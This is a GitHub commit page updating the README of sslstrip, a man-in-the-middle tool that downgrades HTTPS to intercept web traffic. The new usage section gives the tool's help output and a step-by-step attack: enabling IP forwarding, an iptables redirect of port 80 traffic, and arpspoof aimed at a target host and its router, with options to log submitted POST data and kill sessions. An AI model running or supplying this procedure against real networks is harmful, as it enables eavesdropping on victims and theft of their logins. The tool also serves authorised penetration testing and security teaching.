Skip to content

Commit

Permalink
cleanup/docs: update README, add usage section
Browse files Browse the repository at this point in the history
Signed-off-by: K.B.Dharun Krishna <[email protected]>
  • Loading branch information
kbdharun committed Apr 27, 2024
1 parent eea0d6c commit e7bbb5e
Show file tree
Hide file tree
Showing 2 changed files with 65 additions and 23 deletions.
2 changes: 1 addition & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -272,4 +272,4 @@ dmypy.json
cython_debug/

# Add sslstrip log files
sslstrip.log
sslstrip.log
86 changes: 64 additions & 22 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,24 +1,66 @@
sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.
# sslstrip

`sslstrip` is an MITM tool that implements Moxie Marlinspike's SSL stripping attacks.

Ported from Python v2 to v3 by Jay Townsend (theHarvester, Discover, and DNSrecon).
* [![Twitter Follow](https://img.shields.io/twitter/follow/jay_townsend1.svg?style=social&label=Follow)](https://twitter.com/jay_townsend1) Jay "L1ghtn1ng" Townsend @jay_townsend1

Requirements:
```pip3 install -r requirements.txt```
Install the requirements in a virtualenv

Running:
sslstrip can be run from the source base without installation.
Run as a normal user to see options.
```python3 sslstrip.py -h```

1. As root, enable IP forwarding:<br>
```echo "1" > /proc/sys/net/ipv4/ip_forward```

2. As root, setup iptables to intercept HTTP requests:<br>
```iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <your listen port>```

3. Run sslstrip with the options you prefer.

4. As root, run arpspoof to redirect traffic to your host:<br>
```arpspoof -i <your network interface> -t <target IP> <routers IP>```

- [![Twitter Follow](https://img.shields.io/twitter/follow/jay_townsend1.svg?style=social&label=Follow)](https://twitter.com/jay_townsend1) Jay "L1ghtn1ng" Townsend @jay_townsend1

## Requirements

`pip3 install -r requirements.txt`

> [!NOTE]
> Install the requirements in a virtual environment (`venv`).
## Usage

```sh
$ python3 sslstrip.py
usage: sslstrip.py [-h] [-w WRITE] [-p] [-s] [-a]
[-l LISTEN] [-f] [-k]

sslstrip

options:
-h, --help show this help message and exit
-w WRITE, --write WRITE
Specify file to log to
(optional).
-p, --post Log only SSL POSTs. (default)
-s, --ssl Log all SSL traffic to and from
server.
-a, --all Log all SSL and HTTP traffic to
and from server.
-l LISTEN, --listen LISTEN
Port to listen on.
-f, --favicon Substitute a lock favicon on
secure requests.
-k, --killsessions Kill sessions in progress.
```

### Running

`sslstrip` can be run from the source base without installation.

#### Running as normal user

To run as a normal user to see options:

`python3 sslstrip.py -h`

#### Running as root user

1. Enable IP forwarding:

`echo "1" > /proc/sys/net/ipv4/ip_forward`

2. Setup `iptables` to intercept HTTP requests:

`iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <your listen port>`

3. Run `sslstrip` with the options you prefer.

4. Run `arpspoof` to redirect traffic to your host:

`arpspoof -i <your network interface> -t <target IP> <routers IP>`

0 comments on commit e7bbb5e

Please sign in to comment.